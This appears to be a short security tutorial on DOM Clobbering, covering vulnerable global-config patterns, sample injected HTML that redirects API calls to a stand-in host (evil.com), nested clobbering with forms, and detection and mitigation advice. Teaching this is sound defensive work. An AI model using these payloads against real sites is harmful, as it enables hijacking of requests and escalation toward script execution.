2 minute read

DOM Clobbering is a technique where HTML injection (without script execution) can be leveraged to manipulate JavaScript execution by polluting the DOM namespace. This attack works even when a Content Security Policy blocks inline scripts and eval.

What is DOM Clobbering?

When you create an HTML element with a name or id attribute, browsers automatically create a reference to it on the document object and sometimes on the window object. This means:

<img id="x">
<script>
  // document.x now references the img element
  // window.x also references it in most browsers
</script>

If JavaScript code accesses window.someConfig or document.someLib and these variables are not yet defined, an attacker who can inject HTML can “clobber” these references by injecting elements with matching id or name attributes.

Basic Clobbering

Consider this vulnerable pattern:

// Developer expects this to be undefined on first run
if (!window.config) {
  window.config = { apiUrl: '/api/v1' };
}

fetch(window.config.apiUrl + '/users');

An attacker can inject:

<a id="config" href="https://evil.com/api">clobber</a>

Now window.config is the anchor element, and window.config.toString() returns “https://evil.com/api”. Depending on how apiUrl is accessed, this can redirect API calls.

Nested Clobbering with HTMLCollection

To clobber nested properties like config.apiUrl, we need an HTMLCollection:

<form id="config"><input name="apiUrl" value="https://evil.com"></form>

document.config returns the form element, and document.config.apiUrl returns the input element. The input’s value property provides the attacker-controlled string.

For deeper nesting, we can chain forms:

<form id="config" name="config">
  <input name="debug" value="true">
</form>

DOMPurify Bypass via Clobbering

HTML sanitizers like DOMPurify are designed to prevent XSS. However, DOM Clobbering can sometimes bypass the sanitizer’s own logic:

If DOMPurify internally checks document.createElement and an attacker clobbers document.createElement with an injected element, the sanitizer itself may malfunction. Modern versions of DOMPurify have addressed known clobbering vectors, but the attack surface is subtle.

Real-World Attack Patterns

Pattern 1: Configuration overrides

Many JavaScript applications check for global configuration objects. Libraries like Google Analytics, tag managers, and A/B testing tools often look for window.dataLayer, window.ga, or window._config.

Pattern 2: Feature flag pollution

if (window.features && window.features.newEditor) {
  loadModule('/modules/editor-v2.js');
}

Clobbering window.features with an element that has a truthy newEditor named child can force-enable features or load unexpected modules.

Pattern 3: Prototype pollution via clobbering

When combined with prototype pollution gadgets, DOM Clobbering can escalate from HTML injection to arbitrary script execution even with strict CSP.

Detection

Look for JavaScript patterns that:

  1. Access global variables without initialization guards
  2. Use window.X or document.X for configuration
  3. Trust the type of DOM-accessed values without validation
  4. Use || fallback patterns: var x = window.x || defaults

Mitigation

  • Use Object.freeze() on configuration objects after initialization
  • Declare variables with const/let in module scope instead of relying on globals
  • Validate types before using DOM-accessed values: if (typeof window.config === 'object' && !(window.config instanceof HTMLElement))
  • Use DOMPurify with SANITIZE_DOM: true (enabled by default since v2.0.0)
  • Apply Content Security Policy with strict script-src directives

References

  • Gareth Heyes, “DOM Clobbering Strikes Back” (PortSwigger, 2020)
  • Michal Bentkowski, “XSS via DOM Clobbering”
  • HTML Living Standard, Section “Named access on the Window object”